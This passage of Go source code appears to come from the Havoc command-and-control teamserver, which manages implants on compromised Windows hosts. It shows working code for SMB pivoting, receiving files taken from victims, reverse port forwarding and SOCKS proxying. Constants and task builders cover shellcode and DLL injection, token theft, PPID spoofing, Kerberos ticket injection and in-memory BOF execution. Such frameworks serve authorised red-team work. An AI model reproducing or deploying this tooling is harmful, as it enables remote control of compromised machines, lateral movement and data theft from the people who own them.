BuildPayloadMessage([]Job{PivotJob}, pivots.Parent.Encryption.AESKey, pivots.Parent.Encryption.AESIv) Packer = packer.NewPacker(nil, nil) AgentID, err = strconv.ParseInt(pivots.Parent.NameID, 16, 32) if err != nil { logger.Debug("Failed to convert NameID string to AgentID: " + err.Error()) return } Packer.AddInt32(int32(AgentID)) Packer.AddBytes(Payload) PivotJob = Job{ Command: COMMAND_PIVOT, Data: []interface{}{ DEMON_PIVOT_SMB_COMMAND, uint32(AgentID), Packer.Buffer(), }, } pivots = &pivots.Parent.Pivots } pivots.Parent.JobQueue = append(pivots.Parent.JobQueue, PivotJob) } func (a *Agent) DownloadAdd(FileID int, FilePath string, FileSize int64) error { var ( err error download = &Download{ FileID: FileID, FilePath: FilePath, TotalSize: FileSize, Progress: FileSize, State: DOWNLOAD_STATE_RUNNING, } DemonPath = logr.LogrInstance.AgentPath + "/" + a.NameID DemonDownloadDir = DemonPath + "/Download" DownloadFilePath = strings.Join(strings.Split(FilePath, "\\"), "/") FileSplit = strings.Split(DownloadFilePath, "/") DownloadFile = FileSplit[len(FileSplit)-1] DemonDownload = DemonDownloadDir + "/" + strings.Join(FileSplit[:len(FileSplit)-1], "/") ) /* check if we don't have a path traversal */ path := filepath.Clean(DemonDownload) if !strings.HasPrefix(path, DemonDownloadDir) { logger.Error("File didn't started with agent download path. abort") return errors.New("File didn't started with agent download path. abort") } if _, err := os.Stat(DemonDownload); os.IsNotExist(err) { if err = os.MkdirAll(DemonDownload, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon download path" + a.NameID + ": " + err.Error()) return errors.New("Failed to create Logr demon download path" + a.NameID + ": " + err.Error()) } } /* remove null terminator. goland doesn't like it. */ DownloadFile = common.StripNull(DownloadFile) download.File, err = os.Create(DemonDownload + "/" + DownloadFile) if err != nil { logger.Error("Failed to create file: " + err.Error()) return errors.New("Failed to create file: " + err.Error()) } download.LocalFile = DemonDownload + "/" + DownloadFile a.Downloads = append(a.Downloads, download) return nil } func (a *Agent) DownloadWrite(FileID int, data []byte) error { for i := range a.Downloads { if a.Downloads[i].FileID == FileID { _, err := a.Downloads[i].File.Write(data) if err != nil { a.Downloads[i].File, err = os.Create(a.Downloads[i].LocalFile) if err != nil { return errors.New("Failed to create file: " + err.Error()) } _, err = a.Downloads[i].File.Write(data) if err != nil { return errors.New("Failed to write to file [" + a.Downloads[i].LocalFile + "]: " + err.Error()) } a.Downloads[i].Progress += int64(len(data)) } return nil } } return errors.New(fmt.Sprintf("FileID not found: %x", FileID)) } func (a *Agent) DownloadClose(FileID int) { for i := range a.Downloads { if a.Downloads[i].FileID == FileID { err := a.Downloads[i].File.Close() if err != nil { logger.Error(fmt.Sprintf("Failed to close download (%x) file: %v", a.Downloads[i].FileID, err)) } a.Downloads = append(a.Downloads[:i], a.Downloads[i+1:]...) break } } } func (a *Agent) DownloadGet(FileID int) *Download { for _, download := range a.Downloads { if download.FileID == FileID { return download } } return nil } func (a *Agent) PortFwdNew(SocketID, LclAddr, LclPort, FwdAddr, FwdPort int, Target string) { var portfwd = &PortFwd{ Conn: nil, SocktID: SocketID, LclAddr: LclAddr, LclPort: LclPort, FwdAddr: FwdAddr, FwdPort: FwdPort, Target: Target, } a.PortFwdsMtx.Lock() a.PortFwds = append(a.PortFwds, portfwd) a.PortFwdsMtx.Unlock() } func (a *Agent) PortFwdGet(SocketID int) *PortFwd { a.PortFwdsMtx.Lock() defer a.PortFwdsMtx.Unlock() for i := range a.PortFwds { /* check if it's our rportfwd connection */ if a.PortFwds[i].SocktID == SocketID { /* return the found PortFwd object */ return a.PortFwds[i] } } return nil } func (a *Agent) PortFwdIsOpen(SocketID int) (bool, error) { PortFwd := a.PortFwdGet(SocketID) if PortFwd != nil { return PortFwd.Conn != nil, nil } else { return false, fmt.Errorf("rportfwd socket id %x not found", SocketID) } } func (a *Agent) PortFwdOpen(SocketID int) error { var ( err error PortFwd *PortFwd ) PortFwd = a.PortFwdGet(SocketID) if PortFwd != nil { if PortFwd.Conn == nil { /* open the connection to the target */ PortFwd.Conn, err = net.Dial("tcp", PortFwd.Target) return err } else { return errors.New("rportfwd connection is already open") } } else { return fmt.Errorf("rportfwd socket id %x not found", SocketID) } } func (a *Agent) PortFwdWrite(SocketID int, data []byte) error { var PortFwd *PortFwd PortFwd = a.PortFwdGet(SocketID) if PortFwd != nil { /* write to the connection */ if PortFwd.Conn != nil { _, err := PortFwd.Conn.Write(data) return err } else { return errors.New("rportfwd connection is empty") } } else { return fmt.Errorf("rportfwd socket id %x not found", SocketID) } } func (a *Agent) PortFwdRead(SocketID int) ([]byte, error) { var ( data = bytes.Buffer{} PortFwd *PortFwd ) PortFwd = a.PortFwdGet(SocketID) if PortFwd != nil { if PortFwd.Conn != nil { /* read from our socket to the data buffer or return error */ _, err := io.Copy(&data, PortFwd.Conn) if err != nil { return nil, err } /* return the read data */ return data.Bytes(), nil } else { return nil, errors.New("rportfwd connection is empty") } } else { return nil, fmt.Errorf("rportfwd socket id %x not found", SocketID) } } func (a *Agent) PortFwdClose(SocketID int) { a.PortFwdsMtx.Lock() defer a.PortFwdsMtx.Unlock() for i := range a.PortFwds { /* check if it's our rportfwd connection */ if a.PortFwds[i].SocktID == SocketID { /* is there a socket? if not the not try anything or else we get an exception */ if a.PortFwds[i].Conn != nil { logger.Info("Portfwd close") /* close our connection */ a.PortFwds[i].Conn.Close() a.PortFwds[i].Conn = nil } /* remove the socket from the array */ a.PortFwds = append(a.PortFwds[:i], a.PortFwds[i+1:]...) break; } } } func (a *Agent) SocksClientAdd(SocketID int32, conn net.Conn, ATYP byte, IpDomain []byte, Port uint16) *SocksClient { var client = new(SocksClient) client.SocketID = SocketID client.Conn = conn client.Connected = false client.ATYP = ATYP client.IpDomain = IpDomain client.Port = Port a.SocksCliMtx.Lock() a.SocksCli = append(a.SocksCli, client) a.SocksCliMtx.Unlock() return client } func (a *Agent) SocksClientGet(SocketID int) *SocksClient { var ( client *SocksClient = nil ) a.SocksCliMtx.Lock() for i := range a.SocksCli { if a.SocksCli[i].SocketID == int32(SocketID) { client = a.SocksCli[i] break } } a.SocksCliMtx.Unlock() return client } func (a *Agent) SocksClientRead(client *SocksClient) ([]byte, error) { var ( data = make([]byte, 0x10000) read []byte ) if client != nil { if client.Conn != nil { if client.Connected { /* read from our socket to the data buffer or return error */ client.Conn.SetReadDeadline(time.Time{}) length, err := client.Conn.Read(data) if err != nil { return nil, err } read = make([]byte, length) copy(read, data) /* return the read data */ return read, nil } else { return nil, errors.New("socks proxy is not connected") } } else { return nil, errors.New("socks proxy connection is empty") } } else { return nil, errors.New("socks proxy empty client") } } func (a *Agent) SocksClientClose(SocketID int32) bool { found := false a.SocksCliMtx.Lock() for i := range a.SocksCli { /* check if it's our rportfwd connection */ if a.SocksCli[i].SocketID == int32(SocketID) { /* is there a socket? if not the not try anything or else we get an exception */ if a.SocksCli[i].Conn != nil { /* close our connection */ a.SocksCli[i].Conn.Close() a.SocksCli[i].Conn = nil } /* remove the socks server from the array */ a.SocksCli = append(a.SocksCli[:i], a.SocksCli[i+1:]...) found = true break } } a.SocksCliMtx.Unlock() return found } func (a *Agent) SocksServerRemove(Addr string) { a.SocksSvrMtx.Lock() for i := range a.SocksSvr { if a.SocksSvr[i].Addr == Addr { /* is there a socket? if not the not try anything or else we get an exception */ if a.SocksSvr[i].Server != nil { /* close our connection */ a.SocksSvr[i].Server.Close() a.SocksSvr[i].Server = nil } /* remove the socket from the array */ a.SocksSvr = append(a.SocksSvr[:i], a.SocksSvr[i+1:]...) break; } } a.SocksSvrMtx.Unlock() } // ToMap returns the agent info as a map func (a *Agent) ToMap() map[string]interface{} { var ( ParentAgent *Agent Info map[string]any MagicValue string ) ParentAgent = a.Pivots.Parent a.Pivots.Parent = nil Info = structs.Map(a) Info["Info"].(map[string]interface{})["Listener"] = nil delete(Info, "Connection") delete(Info, "SessionDir") delete(Info, "JobQueue") delete(Info, "Parent") MagicValue = fmt.Sprintf("%08x", a.Info.MagicValue) if ParentAgent != nil { Info["PivotParent"] = ParentAgent.NameID a.Pivots.Parent = ParentAgent } Info["MagicValue"] = MagicValue return Info } func (a *Agent) ToJson() string { // TODO: add Agents pivot links too jsonBytes, err := json.Marshal(a.ToMap()) if err != nil { logger.Error("Failed to marshal object to json: " + err.Error()) return "" } logger.Debug("jsonBytes =>", string(jsonBytes)) return string(jsonBytes) } func (agents *Agents) AgentsAppend(demon *Agent) []*Agent { agents.Agents = append(agents.Agents, demon) return agents.Agents } func getWindowsVersionString(OsVersion []int) string { var WinVersion = "Unknown" if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] != 0x0000001 && OsVersion[4] == 20348 { WinVersion = "Windows 2022 Server 22H2" } else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] != 0x0000001 && OsVersion[4] == 17763 { WinVersion = "Windows 2019 Server" } else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] == 0x0000001 && (OsVersion[4] >= 22000 && OsVersion[4] <= 22621) { WinVersion = "Windows 11" } else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] != 0x0000001 { WinVersion = "Windows 2016 Server" } else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] == 0x0000001 { WinVersion = "Windows 10" } else if OsVersion[0] == 6 && OsVersion[1] == 3 && OsVersion[2] != 0x0000001 { WinVersion = "Windows Server 2012 R2" } else if OsVersion[0] == 6 && OsVersion[1] == 3 && OsVersion[2] == 0x0000001 { WinVersion = "Windows 8.1" } else if OsVersion[0] == 6 && OsVersion[1] == 2 && OsVersion[2] != 0x0000001 { WinVersion = "Windows Server 2012" } else if OsVersion[0] == 6 && OsVersion[1] == 2 && OsVersion[2] == 0x0000001 { WinVersion = "Windows 8" } else if OsVersion[0] == 6 && OsVersion[1] == 1 && OsVersion[2] != 0x0000001 { WinVersion = "Windows Server 2008 R2" } else if OsVersion[0] == 6 && OsVersion[1] == 1 && OsVersion[2] == 0x0000001 { WinVersion = "Windows 7" } if OsVersion[3] != 0 { WinVersion += " Service Pack " + strconv.Itoa(OsVersion[3]) } return WinVersion } havoc-0.6~git20240910.69ce17c/teamserver/pkg/agent/commands.go000066400000000000000000000147731467014221700234670ustar00rootroot00000000000000package agent const ( DEMON_MAGIC_VALUE = 0xDEADBEEF ) const ( /* * https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile * Pipe write operations across a network are limited in size per write. * The amount varies per platform. For x86 platforms it's 63.97 MB. * For x64 platforms it's 31.97 MB. For Itanium it's 63.95 MB. */ // we are using 30 MB DEMON_MAX_RESPONSE_LENGTH = 0x1e00000 ) const ( PROCESS_ARCH_UNKNOWN = 0 PROCESS_ARCH_X86 = 1 PROCESS_ARCH_X64 = 2 PROCESS_ARCH_IA64 = 3 ) // TODO: change Command IDs. use something more readable and understandable. const ( COMMAND_GET_JOB = 1 DEMON_INIT = 99 COMMAND_CHECKIN = 100 COMMAND_NOJOB = 10 COMMAND_SLEEP = 11 COMMAND_PROC = 0x1010 COMMAND_PS_IMPORT = 0x1011 COMMAND_PROC_LIST = 12 COMMAND_FS = 15 COMMAND_INLINEEXECUTE = 20 COMMAND_ASSEMBLY_INLINE_EXECUTE = 0x2001 COMMAND_ASSEMBLY_LIST_VERSIONS = 0x2003 COMMAND_JOB = 21 COMMAND_INJECT_DLL = 22 COMMAND_INJECT_SHELLCODE = 24 COMMAND_SPAWNDLL = 26 COMMAND_PROC_PPIDSPOOF = 27 COMMAND_TOKEN = 40 COMMAND_NET = 2100 COMMAND_CONFIG = 2500 COMMAND_SCREENSHOT = 2510 COMMAND_PIVOT = 2520 COMMAND_TRANSFER = 2530 COMMAND_SOCKET = 2540 COMMAND_KERBEROS = 2550 COMMAND_MEM_FILE = 2560 COMMAND_PACKAGE_DROPPED = 2570 DEMON_INFO = 89 COMMAND_OUTPUT = 90 COMMAND_ERROR = 91 COMMAND_EXIT = 92 COMMAND_KILL_DATE = 93 BEACON_OUTPUT = 94 COMMAND_INLINEEXECUTE_EXCEPTION = 1 COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND = 2 COMMAND_INLINEEXECUTE_RAN_OK = 3 COMMAND_INLINEEXECUTE_COULD_NO_RUN = 4 COMMAND_EXCEPTION = 0x98 COMMAND_SYMBOL_NOT_FOUND = 0x99 CALLBACK_OUTPUT = 0x0 CALLBACK_OUTPUT_OEM = 0x1e CALLBACK_ERROR = 0x0d CALLBACK_OUTPUT_UTF8 = 0x20 CALLBACK_FILE = 0x02 CALLBACK_FILE_WRITE = 0x08 CALLBACK_FILE_CLOSE = 0x09 ) const ( CONFIG_IMPLANT_SPFTHREADSTART = 3 CONFIG_IMPLANT_SLEEP_TECHNIQUE = 5 CONFIG_IMPLANT_VERBOSE = 4 CONFIG_IMPLANT_COFFEE_THREADED = 6 CONFIG_IMPLANT_COFFEE_VEH = 7 CONFIG_MEMORY_ALLOC = 101 CONFIG_MEMORY_EXECUTE = 102 CONFIG_INJECT_TECHNIQUE = 150 CONFIG_INJECT_SPOOFADDR = 151 CONFIG_INJECT_SPAWN64 = 152 CONFIG_INJECT_SPAWN32 = 153 CONFIG_KILLDATE = 154 CONFIG_WORKINGHOURS = 155 DEMON_NET_COMMAND_DOMAIN = 1 DEMON_NET_COMMAND_LOGONS = 2 DEMON_NET_COMMAND_SESSIONS = 3 DEMON_NET_COMMAND_COMPUTER = 4 DEMON_NET_COMMAND_DCLIST = 5 DEMON_NET_COMMAND_SHARE = 6 DEMON_NET_COMMAND_LOCALGROUP = 7 DEMON_NET_COMMAND_GROUP = 8 DEMON_NET_COMMAND_USERS = 9 DEMON_PIVOT_LIST = 1 DEMON_PIVOT_SMB_CONNECT = 10 DEMON_PIVOT_SMB_DISCONNECT = 11 DEMON_PIVOT_SMB_COMMAND = 12 DEMON_INFO_MEM_ALLOC = 10 DEMON_INFO_MEM_EXEC = 11 DEMON_INFO_MEM_PROTECT = 12 DEMON_INFO_PROC_CREATE = 21 DEMON_COMMAND_JOB_LIST = 1 DEMON_COMMAND_JOB_SUSPEND = 2 DEMON_COMMAND_JOB_RESUME = 3 DEMON_COMMAND_JOB_KILL_REMOVE = 4 DEMON_COMMAND_JOB_DIED = 5 DEMON_COMMAND_TRANSFER_LIST = 0 DEMON_COMMAND_TRANSFER_STOP = 1 DEMON_COMMAND_TRANSFER_RESUME = 2 DEMON_COMMAND_TRANSFER_REMOVE = 3 DEMON_COMMAND_PROC_MODULES = 2 DEMON_COMMAND_PROC_GREP = 3 DEMON_COMMAND_PROC_CREATE = 4 DEMON_COMMAND_PROC_MEMORY = 6 DEMON_COMMAND_PROC_KILL = 7 DEMON_COMMAND_TOKEN_IMPERSONATE = 1 DEMON_COMMAND_TOKEN_STEAL = 2 DEMON_COMMAND_TOKEN_LIST = 3 DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST = 4 DEMON_COMMAND_TOKEN_MAKE = 5 DEMON_COMMAND_TOKEN_GET_UID = 6 DEMON_COMMAND_TOKEN_REVERT = 7 DEMON_COMMAND_TOKEN_REMOVE = 8 DEMON_COMMAND_TOKEN_CLEAR = 9 DEMON_COMMAND_TOKEN_FIND_TOKENS = 10 DEMON_COMMAND_FS_DIR = 1 DEMON_COMMAND_FS_DOWNLOAD = 2 DEMON_COMMAND_FS_UPLOAD = 3 DEMON_COMMAND_FS_CD = 4 DEMON_COMMAND_FS_REMOVE = 5 DEMON_COMMAND_FS_MKDIR = 6 DEMON_COMMAND_FS_COPY = 7 DEMON_COMMAND_FS_MOVE = 8 DEMON_COMMAND_FS_GET_PWD = 9 DEMON_COMMAND_FS_CAT = 10 ) const ( DOTNET_INFO_PATCHED = 0x1 DOTNET_INFO_NET_VERSION = 0x2 DOTNET_INFO_ENTRYPOINT = 0x3 DOTNET_INFO_FINISHED = 0x4 DOTNET_INFO_FAILED = 0x5 ) const ( HAVOC_CONSOLE_MESSAGE = 0x80 HAVOC_BOF_CALLBACK = 0x81 ) const ( ERROR_WIN32_LASTERROR = 1 ERROR_TOKEN = 3 ) const ( SOCKET_COMMAND_RPORTFWD_ADD = 0x0 SOCKET_COMMAND_RPORTFWD_ADDLCL = 0x1 SOCKET_COMMAND_RPORTFWD_LIST = 0x2 SOCKET_COMMAND_RPORTFWD_CLEAR = 0x3 SOCKET_COMMAND_RPORTFWD_REMOVE = 0x4 SOCKET_COMMAND_SOCKSPROXY_ADD = 0x5 SOCKET_COMMAND_SOCKSPROXY_LIST = 0x6 SOCKET_COMMAND_SOCKSPROXY_REMOVE = 0x7 SOCKET_COMMAND_SOCKSPROXY_CLEAR = 0x8 SOCKET_COMMAND_OPEN = 0x10 SOCKET_COMMAND_READ = 0x11 SOCKET_COMMAND_WRITE = 0x12 SOCKET_COMMAND_CLOSE = 0x13 SOCKET_COMMAND_CONNECT = 0x14 SOCKET_TYPE_REVERSE_PORTFWD = 0x1 SOCKET_TYPE_REVERSE_PROXY = 0x2 SOCKET_TYPE_CLIENT = 0x3 SOCKET_ERROR_ALREADY_BOUND = 0x1 ) const ( KERBEROS_COMMAND_LUID = 0x0 KERBEROS_COMMAND_KLIST = 0x1 KERBEROS_COMMAND_PURGE = 0x2 KERBEROS_COMMAND_PTT = 0x3 ) const ( COFFEELDR_FLAG_NON_THREADED = 0 COFFEELDR_FLAG_THREADED = 1 COFFEELDR_FLAG_DEFAULT = 2 ) const ( INJECT_WAY_SPAWN = 0 INJECT_WAY_INJECT = 1 INJECT_WAY_EXECUTE = 2 ) const ( THREAD_METHOD_DEFAULT = 0 THREAD_METHOD_CREATEREMOTETHREAD = 1 THREAD_METHOD_NTCREATEHREADEX = 2 THREAD_METHOD_NTQUEUEAPCTHREAD = 3 ) const ( SecurityAnonymous = 0x0 SecurityIdentification = 0x1 SecurityImpersonation = 0x2 SecurityDelegation = 0x3 ) const ( SECURITY_MANDATORY_UNTRUSTED_RID = 0x00000000 SECURITY_MANDATORY_LOW_RID = 0x00001000 SECURITY_MANDATORY_MEDIUM_RID = 0x00002000 SECURITY_MANDATORY_HIGH_RID = 0x00003000 SECURITY_MANDATORY_SYSTEM_RID = 0x00004000 SECURITY_MANDATORY_PROTECTED_PROCESS_RID = 0x00005000 ) const ( TokenPrimary = 1 TokenImpersonation = 2 ) const ( INJECT_ERROR_SUCCESS = 0 INJECT_ERROR_FAILED = 1 INJECT_ERROR_INVALID_PARAM = 2 INJECT_ERROR_PROCESS_ARCH_MISMATCH = 3 ) havoc-0.6~git20240910.69ce17c/teamserver/pkg/agent/demons.go000066400000000000000000005522401467014221700231470ustar00rootroot00000000000000package agent import ( "bytes" "encoding/base64" "encoding/binary" "encoding/hex" "encoding/json" "errors" "fmt" "io" "math/rand" "net" "os" "strconv" "strings" "time" "Havoc/pkg/common" "Havoc/pkg/common/parser" "Havoc/pkg/logger" "Havoc/pkg/logr" "Havoc/pkg/socks" "Havoc/pkg/utils" "Havoc/pkg/win32" "github.com/olekukonko/tablewriter" ) // we upload heavy files to the implant in chunks, so SMB agents can handle the size func (a *Agent) UploadMemFileInChunks(FileData []byte) uint32 { var ID uint32 var chunkSize = DEMON_MAX_RESPONSE_LENGTH // generate a random ID ID = rand.Uint32() FileSize := len(FileData) // split the file in chunks of DEMON_MAX_RESPONSE_LENGTH for start := 0; start <= FileSize; start += chunkSize { end := start + chunkSize // necessary check to avoid slicing beyond FileData capacity if end > FileSize { end = FileSize } MemFileJob := Job{ Command: COMMAND_MEM_FILE, RequestID: rand.Uint32(), Data: []any{ ID, uint64(FileSize), FileData[start:end], }, } a.AddJobToQueue(MemFileJob) } return ID } func (a *Agent) TeamserverTaskPrepare(Command string, Console func(AgentID string, Message map[string]string)) error { var Commands = strings.Split(Command, "::") switch Commands[0] { case "task": if len(Commands) > 1 { switch Commands[1] { case "list": if len(a.JobQueue) > 0 { var ListTable string ListTable += "\n" ListTable += fmt.Sprintf(" %-8s %-19s %-8s %s\n", "Task ID", "Created", "Size", "Command") ListTable += fmt.Sprintf(" %-8s %-19s %-8s %s\n", "-------", "-------", "----", "-------") for _, task := range a.JobQueue { var ( Payload = BuildPayloadMessage([]Job{task}, a.Encryption.AESKey, a.Encryption.AESIv) Size = common.ByteCountSI(int64(len(Payload))) ) ListTable += fmt.Sprintf(" %-8s %-19s %-8s %s\n", task.TaskID, task.Created, Size, task.CommandLine) } Console(a.NameID, map[string]string{ "Type": "Info", "Message": "List task queue:", "Output": ListTable, }) } else { Console(a.NameID, map[string]string{ "Type": "Error", "Message": "No jobs in task queue", }) } break case "clear": if len(a.JobQueue) > 0 { var Jobs = len(a.JobQueue) a.JobQueue = nil Console(a.NameID, map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Cleared task queue [%v]", Jobs), }) } else { Console(a.NameID, map[string]string{ "Type": "Error", "Message": "No jobs in task queue", }) } break } } break } return nil } func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, ClientID string, teamserver TeamServer) (*Job, error) { var ( job = &Job{ Command: uint32(Command), RequestID: rand.Uint32(), Data: []interface{}{}, Created: time.Now().UTC().Format("02/01/2006 15:04:05"), } err error ) Optional := Info.(map[string]interface{}) if val, ok := Optional["CommandLine"]; ok { job.CommandLine = val.(string) } if val, ok := Optional["TaskID"]; ok { job.TaskID = val.(string) RequestID, err := strconv.ParseInt(job.TaskID, 16, 64) if err == nil { job.RequestID = uint32(RequestID) } } switch Command { case COMMAND_EXIT: if val, ok := Optional["ExitMethod"].(string); ok { var Exit int = 0 if val == "thread" { Exit = 1 } else if val == "process" { Exit = 2 } job.Data = []interface{}{ Exit, } } else { return nil, errors.New("ExitMethod not found") } break case COMMAND_CHECKIN: break case COMMAND_SLEEP: var ( Delay int Jitter int err error ArgArray []string ) ArgArray = strings.Split(Optional["Arguments"].(string), ";") Delay, err = strconv.Atoi(ArgArray[0]) if err != nil { return nil, err } Jitter, err = strconv.Atoi(ArgArray[1]) if err != nil { return nil, err } job.Data = []interface{}{ Delay, Jitter, } case COMMAND_FS: var ( Arguments = Optional["Arguments"].(string) SubCommand = 0 ) switch Optional["SubCommand"].(string) { case "dir": SubCommand = 1 var ( SubDirs int FilesOnly int DirsOnly int ListOnly int ) ArgArray := strings.Split(Arguments, ";") Path := ArgArray[0] Starts := ArgArray[5]; Contains := ArgArray[6]; Ends := ArgArray[7]; if ArgArray[1] == "true" { SubDirs = win32.TRUE } else { SubDirs = win32.FALSE } if ArgArray[2] == "true" { FilesOnly = win32.TRUE } else { FilesOnly = win32.FALSE } if ArgArray[3] == "true" { DirsOnly = win32.TRUE } else { DirsOnly = win32.FALSE } if ArgArray[4] == "true" { ListOnly = win32.TRUE } else { ListOnly = win32.FALSE } // go from \\server\share to \\server\share\ if strings.HasPrefix(Path, "\\\\") { uncIndex := strings.Index(Path[2:], "\\") if uncIndex != -1 && strings.Index(Path[uncIndex+3:], "\\") == -1 { Path += "\\" } } // If the file ends in \ or is a drive (C:), throw a * on there if strings.HasSuffix(Path, "\\") { Path += "*" } else if strings.HasSuffix(Path, ":") { Path += "\\*" } job.Data = []interface{}{ SubCommand, win32.FALSE, common.EncodeUTF16(Path), SubDirs, FilesOnly, DirsOnly, ListOnly, common.EncodeUTF16(Starts), common.EncodeUTF16(Contains), common.EncodeUTF16(Ends), } break case "dir;ui": SubCommand = 1 // go from \\server\share to \\server\share\ if strings.HasPrefix(Arguments, "\\\\") { uncIndex := strings.Index(Arguments[2:], "\\") if uncIndex != -1 && strings.Index(Arguments[uncIndex+3:], "\\") == -1 { Arguments += "\\" } } // If the file ends in \ or is a drive (C:), throw a * on there if strings.HasSuffix(Arguments, "\\") { Arguments += "*" } else if strings.HasSuffix(Arguments, ":") { Arguments += "\\*" } job.Data = []interface{}{ SubCommand, win32.TRUE, common.EncodeUTF16(Arguments), win32.FALSE, win32.FALSE, win32.FALSE, win32.FALSE, common.EncodeUTF16(""), common.EncodeUTF16(""), common.EncodeUTF16(""), } break case "download": SubCommand = 2 var ( FileName []byte ArgArray []string ) ArgArray = strings.Split(Arguments, ";") if val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil { FileName = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } job.Data = []interface{}{ SubCommand, FileName, } break case "upload": var ( FileName []byte Content []byte ArgArray []string MemFileId uint32 ) ArgArray = strings.Split(Arguments, ";") if val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil { FileName = append([]byte(common.EncodeUTF16(string(val))), []byte{0, 0}...) } else { return nil, err } if val, err := base64.StdEncoding.DecodeString(ArgArray[1]); err == nil { Content = val } else { return nil, err } MemFileId = a.UploadMemFileInChunks(Content) SubCommand = 3 job.Data = []interface{}{ SubCommand, FileName, MemFileId, } break case "cd": SubCommand = 4 job.Data = []interface{}{ SubCommand, common.EncodeUTF16(Arguments), } break case "remove": SubCommand = 5 job.Data = []interface{}{ SubCommand, common.EncodeUTF16(Arguments), } break case "mkdir": SubCommand = 6 job.Data = []interface{}{ SubCommand, common.EncodeUTF16(Arguments), } break case "cp": SubCommand = 7 var Paths = strings.Split(Arguments, ";") if len(Paths) >= 2 { var ( PathFrom []byte PathTo []byte ) if val, err := base64.StdEncoding.DecodeString(Paths[0]); err == nil { PathFrom = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } if val, err := base64.StdEncoding.DecodeString(Paths[1]); err == nil { PathTo = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } job.Data = []interface{}{ SubCommand, PathFrom, PathTo, } } break case "mv": SubCommand = 8 var Paths = strings.Split(Arguments, ";") if len(Paths) >= 2 { var ( PathFrom []byte PathTo []byte ) if val, err := base64.StdEncoding.DecodeString(Paths[0]); err == nil { PathFrom = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } if val, err := base64.StdEncoding.DecodeString(Paths[1]); err == nil { PathTo = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } job.Data = []interface{}{ SubCommand, PathFrom, PathTo, } } break case "pwd": SubCommand = 9 job.Data = []interface{}{ SubCommand, } break case "cat": SubCommand = 10 var ( FileName []byte ArgArray []string ) ArgArray = strings.Split(Arguments, ";") if val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil { FileName = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } job.Data = []interface{}{ SubCommand, FileName, } break } case COMMAND_PROC: var ( SubCommand, _ = strconv.Atoi(Optional["ProcCommand"].(string)) Arguments = Optional["Args"].(string) ) switch SubCommand { case DEMON_COMMAND_PROC_MODULES: var pid, _ = strconv.Atoi(Arguments) job.Data = []interface{}{ SubCommand, pid, } break case DEMON_COMMAND_PROC_GREP: job.Data = []interface{}{ SubCommand, common.EncodeUTF16(Arguments), } break case DEMON_COMMAND_PROC_CREATE: var ( Args = strings.Split(Arguments, ";") Process string ProcessArgs string ProcessState int ProcessPiped int ProcessVerbose int ) // State, Verbose, Piped, ProcessApp, ProcessArg ProcessState, err := strconv.Atoi(Args[0]) if err != nil { logger.Error("") } ProcessVerbose = 0 if strings.ToLower(Args[1]) == "true" { ProcessVerbose = 1 } ProcessPiped = 0 if strings.ToLower(Args[2]) == "true" { ProcessPiped = 1 } Process = string(Args[3]) ProcArgs, _ := base64.StdEncoding.DecodeString(Args[4]) ProcessArgs = string(ProcArgs) job.Data = []interface{}{ SubCommand, ProcessState, common.EncodeUTF16(Process), common.EncodeUTF16(ProcessArgs), ProcessPiped, ProcessVerbose, } break // TODO: is this used? case 5: var State = 0 if Optional["Args"] == "on" { State = 1 } job.Data = []interface{}{ SubCommand, State, } break case DEMON_COMMAND_PROC_MEMORY: var ( Args = strings.Split(Arguments, " ") QueryProtec int ) var ( ProcID, _ = strconv.Atoi(Args[0]) ) switch Args[1] { case "PAGE_NOACCESS": QueryProtec = win32.PAGE_NOACCESS case "PAGE_READONLY": QueryProtec = win32.PAGE_READONLY case "PAGE_READWRITE": QueryProtec = win32.PAGE_READWRITE case "PAGE_WRITECOPY": QueryProtec = win32.PAGE_WRITECOPY case "PAGE_EXECUTE": QueryProtec = win32.PAGE_EXECUTE case "PAGE_EXECUTE_READ": QueryProtec = win32.PAGE_EXECUTE_READ case "PAGE_EXECUTE_READWRITE": QueryProtec = win32.PAGE_EXECUTE_READWRITE case "PAGE_EXECUTE_WRITECOPY": QueryProtec = win32.PAGE_EXECUTE_WRITECOPY case "PAGE_GUARD": QueryProtec = win32.PAGE_GUARD } job.Data = []interface{}{ SubCommand, ProcID, QueryProtec, } break case DEMON_COMMAND_PROC_KILL: var pid, err = strconv.Atoi(Arguments) if err != nil { logger.Debug("proc::kill failed to parse pid: " + err.Error()) return nil, errors.New("proc::kill failed to parse pid: " + err.Error()) } else { job.Data = []interface{}{ SubCommand, pid, } } break } break case COMMAND_PROC_LIST: var ( ProcessUI = Optional["FromProcessManager"].(string) Value = win32.FALSE ) if ProcessUI == "true" { Value = win32.TRUE } job.Data = []interface{}{ Value, } break case COMMAND_PROC_PPIDSPOOF: var PPIDSpoof, err = strconv.Atoi(Optional["PPID"].(string)) if err != nil { logger.Error(err) break } job.Data = []interface{}{ uint32(PPIDSpoof), } break case COMMAND_INLINEEXECUTE: var ( FunctionName string ObjectFile []byte Parameters []byte Flags uint32 BofFileId uint32 ParamsFileId uint32 ok bool ) if Arguments, ok := Optional["HasCallback"].(string); ok && Arguments == "true" { // if there is a callback for this BOF, means that we need to // store all the output and send it back to the python module // instead of simply printing it on the console var bofcallback = &BofCallback{ TaskID: job.RequestID, Output: "", Error: "", ClientID: ClientID, } a.BofCallbacks = append(a.BofCallbacks, bofcallback) } if Arguments, ok := Optional["Arguments"].(string); ok { if Parameters, err = base64.StdEncoding.DecodeString(Arguments); !ok { return nil, errors.New("FunctionName not defined") } } else { return nil, 